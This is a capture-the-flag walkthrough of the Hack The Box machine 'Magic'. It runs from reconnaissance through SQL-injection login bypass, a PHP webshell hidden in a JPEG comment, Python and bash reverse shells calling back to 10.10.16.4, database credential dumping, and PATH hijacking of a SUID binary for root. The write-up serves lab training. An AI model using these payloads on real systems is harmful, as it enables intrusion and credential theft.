Magic

Reconnaissance: NMAP

┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.185

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)

80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
|_http-server-header: Apache/2.4.29 (Ubuntu)
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)

No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.89 seconds
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.185    

68/udp    open|filtered dhcpc
631/udp   open|filtered ipp
5353/udp  open|filtered zeroconf
17468/udp open|filtered unknown
45247/udp open|filtered unknown

Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1041.34 seconds
┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -p- 10.10.10.185

We have two ports open.

  • Port 22: running OpenSSH 7.6p1

  • Port 80: running Apache httpd 2.4.29

Enumeration: 22/tcp open ssh

OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

The OpenSSH version that is running on port 22 is not associated with any critical vulnerabilities, so it’s unlikely that we gain initial access through this port, unless we find credentials.

Enumeration: 80/tcp open http

Apache httpd 2.4.29 ((Ubuntu))

http://10.10.10.185/# http://10.10.10.185/login.php

view-source view-source:http://10.10.10.185/#

Viewing the page source doesn’t give us any useful information. Next, view Autorecon’s gobuster scan.

┌──(kali💀kali)-[~]
└─$ gobuster dir -u http://10.10.10.185/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt,conf

/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 4052]
/images               (Status: 301) [Size: 313] [--> http://10.10.10.185/images/]
/login.php            (Status: 200) [Size: 4221]
/assets               (Status: 301) [Size: 313] [--> http://10.10.10.185/assets/]
/upload.php           (Status: 302) [Size: 2957] [--> login.php]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/.php                 (Status: 403) [Size: 277]
┌──(kali💀kali)-[~]
└─$ nikto -h http://10.10.10.185/

+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017
+ /login.php: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.php: Admin login page/section found.
+ 8046 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2024-01-11 20:24:45 (GMT-5) (3090 seconds)

OPTION 1:

/upload.php Right off the bat, I see something that could potentially be very concerning. The upload.php & logout.php pages are internal pages (require authentication) that lead to a 302 redirect when a user attempts to access them. However, the interesting part is the response size. The upload.php response size is much larger than what a normal 302 redirect response would be. So if I had to guess, the PHP script is not properly terminated after user redirection, which could give us unrestricted access to any internal page in the application.

10.10.10.185/upload.php 10.10.10.185/logout.php

We can confirm this using Burp proxy. Visit the upload.php script and intercept the traffic in Burp. As can be seen in the below image, before the request is redirected to the login page, we are served with the upload page.

Now all we have to do is change the HTTP Status Code from “302 Found” to “200 OK” and we get access to the upload page. To have Burp automatically do that for you, visit the Proxy > Options tab. In the Match and Replace section, set the following options. Proxy > Options tab. In the Match and Replace section, set the following options.

  • Type: Responce header

  • Match: 302 Found

  • Replace: 200 Ok

  • Regex matck checked

OPTION 2:

SQLi Login Bypass: http://10.10.10.185/login.php

Clicking Login leads to /login.php, with a simple login form:

I tried a few basic logins like admin/admin and magic/magic without luck. I tried a basic SQLi login bypass of username ' or 1=1-- -, and it logged me in.

This works because the site must be doing something like:

SELECT * from users where username = '$username' and password = '$password';

So my input makes that:

SELECT * from users where username = '' or 1=1-- -and password = 'admin';

That must satisfy the site’s logic, as it allows me in.

http://10.10.10.185/login.php
' or 1=1-- -
admin

Shell as www-data

To check the filters on upload, I like to find the POST request where the legitimate image file was uploaded in Burp and send it to repeater. After making sure it successfully submits, I’ll start changing things to see where it break. There are three checks that a site typically employs with this kind of upload:

  • file extension block/allow lists;

  • mimetype or Magic bytes for the file must match that of the allowed type(s);

  • Content-Type header on the image must be image.

Some testing shows that there are at least two filters applied on upload: filename must end with .jpg, .jpeg, or .png and mimetype passes for images.

The second filter can be bypassed by putting PHP code into the middle of a valid image.

I’ll create a copy of my image and name it avatar-mod.png. Then I’ll open it with vim and add a simple PHP webshell to the middle of the file:

Upload PHP Webshell: On successful login, the browser is redirected to /upload.php:

http://10.10.10.185/upload.php http://10.10.10.185/index.php http://10.10.10.185/images/fulls/1.jpg http://10.10.10.185/images/uploads/giphy.gif http://10.10.10.185/assets/css/images/overlay.png

┌──(kali💀kali)-[~/Desktop]
└─$ exiftool -Comment='<?php system($_GET['cmd']); ?>' cmd.php.jpg
    1 image files updated
┌──(kali💀kali)-[~/Desktop]
└─$ file minion.JPEG 
minion.JPEG: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "<?php system($_GET[cmd]); ?>", baseline, precision 8, 300x168, components 3
┌──(kali💀kali)-[~/Desktop]
└─$ exiftool minion1.JPEG                                         
ExifTool Version Number         : 12.67
File Name                       : minion1.JPEG
Directory                       : .
File Size                       : 7.8 kB
File Modification Date/Time     : 2024:01:11 22:31:41-05:00
File Access Date/Time           : 2024:01:11 22:32:50-05:00
File Inode Change Date/Time     : 2024:01:11 22:32:43-05:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : <?php system($_GET[cmd]); ?>
Image Width                     : 300
Image Height                    : 168
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 300x168
Megapixels                      : 0.050
exiftool -Comment='<?php system($_GET['cmd']); ?>' home2.jpg

cp home2.jpg home2.php.png

http://10.10.10.185/images/uploads/home2.php.png?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.16.4%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

$ whoami
www-data

$ cd /var/www
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@magic:/var/www$ 

Username : theseus | Password : iamkingtheseus.

Priv: www-data –> theseus

Looking at the home directories, there’s one user, theseus, and as www-data I can see user.txt but not read it:

Enumerating as www-data didn’t turn out anything obvious, so I went into the web configurations to see what I could find. The site is hosted out of /var/www/Magic:

www-data@ubuntu:/var/www/Magic$ ls
assets  db.php5  images  index.php  login.php  logout.php  upload.php

db.php5 does have creds for the database:

Database Dump: Unfortunately, mysql, the binary I would typically use to connect to the local port and interrogate the DB, isn’t on the box. This is a case where having a full PTY shell on the box paid off, because when I typed mys[tab][tab][tab], it gave a list of things that were on the box:

www-data@ubuntu:/var/www/Magic$ mysql
mysql_config_editor        mysql_secure_installation  mysqladmin                 mysqld                     mysqldumpslow              mysqlrepair
mysql_embedded             mysql_ssl_rsa_setup        mysqlanalyze               mysqld_multi               mysqlimport                mysqlreport
mysql_install_db           mysql_tzinfo_to_sql        mysqlbinlog                mysqld_safe                mysqloptimize              mysqlshow
mysql_plugin               mysql_upgrade              mysqlcheck                 mysqldump                  mysqlpump                  mysqlslap

It would have been not that hard to upload Chisel and create a tunnel from my host to the MySQL port (3306) listening on localhost on Magic, but mysqldump jumped out as an alternative. Once I figured out the syntax, it worked like a charm:

www-data@ubuntu:/$ mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic

This tool dumps out SQL such that all the commands are here to rebuild this database. There’s one INSERT statement for the login table:

INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');

SU:

These creds do work to login without SQLi on the webpage, but they also work for su to theseus:

www-data@magic:/var/www/Magic$ su theseus
Password: Th3s3usW4sK1ng
theseus@magic:/var/www/Magic$ 

theseus@magic:/var/www/Magic$ whoami                  
theseus

theseus@magic:/var/www/Magic$ locate user.txt
/home/theseus/user.txt

theseus@magic:/var/www/Magic$ cat /home/theseus/user.txt
9dc85----------------------------

Priv: theseus –> root

Enumeration: Now we need to escalate our privileges to root. I downloaded the LinEnum script and ran it. It looks like the SUID bit is set for the sysinfo program, which means that the program runs with the privileges of the owner of the file. We can see that it runs the fdisk & lshw programs without specifying the full path. Therefore, we could abuse that to our advantage and have it instead run a malicious fdisk program that we control.

Any enumeration script will highlight SUID binaries, or I can find files owned by root with SUID set using find:

www-data@ubuntu:/$ find / -user root -type f -perm -4000  -ls 2>/dev/null
...[snip]...
   393232     24 -rwsr-x---   1 root     users              22040 Oct 21  2019 /bin/sysinfo
...[snip]...

/bin/sysinfo is new to me, so I’ll check it out. It’s also interesting that only members of the users group can execute it, and theseus is the only member of that group:

theseus@magic:/dev/shm# cat /etc/group | grep users
users:x:100:theseus
/bin/sysinfo
theseus@magic:/var/www/Magic$ /bin/sysinfo

ltrace:

Running sysinfo with ltrace prints out the calls made outside the binary. There’s a ton of output, but looking through it, there’s a line that jumps out at me:

theseus@magic:/dev/shm# ltrace sysinfo

popen is another way to open a process on Linux. The binary is making a call to fdisk, which is fine, except that it is doing so without specifying the full path. This leave the binary vulnerable to path hijacking.

OPTION1: I’ll create a reverse shell script in /dev/shm:

theseus@magic:/tmp/shm$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.16.4/7777 0>&1' > fdisk
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.16.4/7777 0>&1' > fdisk

Give it execute rights:

theseus@magic:/tmp/shm$ chmod +x fdisk 

OPTION2: In the tmp folder (which we have write access to), create an fdisk file and add a python reverse shell to it.

echo -e 'python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'' > fdisk

Now I’ll update my current path to include /dev/shm:

theseus@magic:/tmp/shm$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

theseus@magic:/tmp/shm$ export PATH="/dev/shm:$PATH"

theseus@magic:/tmp/shm$ echo $PATH 
/dev/shm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

This way when we run the sysinfo program, it’ll look for the fdisk program in the tmp directory and execute our reverse shell. Setup a netcat listener to receive the reverse shell:

┌──(kali💀kali)-[~/Desktop]
└─$ nc -nlvp 7777

Then run the sysinfo command:

sysinfo

Upgrade the shell and get the root.txt flag

root@magic:/dev/shm# cat /root/root.txt
314de---------------------------

root@magic:/dev/shm# whoami
root

root@magic:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)

Last updated